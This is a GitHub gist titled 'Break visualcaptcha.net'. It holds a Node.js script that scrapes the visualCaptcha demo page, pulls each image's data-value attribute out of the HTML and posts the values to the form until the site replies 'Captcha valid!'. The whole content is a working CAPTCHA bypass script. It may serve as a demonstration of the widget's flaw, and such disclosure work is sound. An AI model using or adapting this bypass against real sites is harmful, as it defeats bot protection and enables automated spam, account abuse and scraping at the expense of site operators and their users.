Last active
December 21, 2015 02:19
-
-
Save ipeychev/6234050 to your computer and use it in GitHub Desktop.
Break visualcaptcha.net
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var request = require('request') | |
request = request.defaults({jar: true}); | |
var URI = 'http://demo.visualcaptcha.net/'; | |
request.get(URI, function (error, response, body) { | |
if (!error && response.statusCode === 200) { | |
var arr, | |
imgData, | |
formActionRegExp = /<form.*action="([^"]+)"/, | |
action = formActionRegExp.exec(body)[1], | |
imgRegExp = /<img.*data-value="([^"]+)"/g, | |
match = imgRegExp.exec(body); | |
while (match != null) { | |
imgData = match[1]; | |
console.log(match[1]); | |
match = imgRegExp.exec(body); | |
console.log(URI + action); | |
request.post( | |
URI + action, | |
{ | |
form: { | |
'captcha-value': imgData, | |
form_submit: 1 | |
} | |
}, | |
function (error, response, body) { | |
if (!error && response.statusCode === 200) { | |
if (body.indexOf('Captcha valid!') > 0){ | |
console.log(body); | |
} | |
} | |
} | |
); | |
} | |
} | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment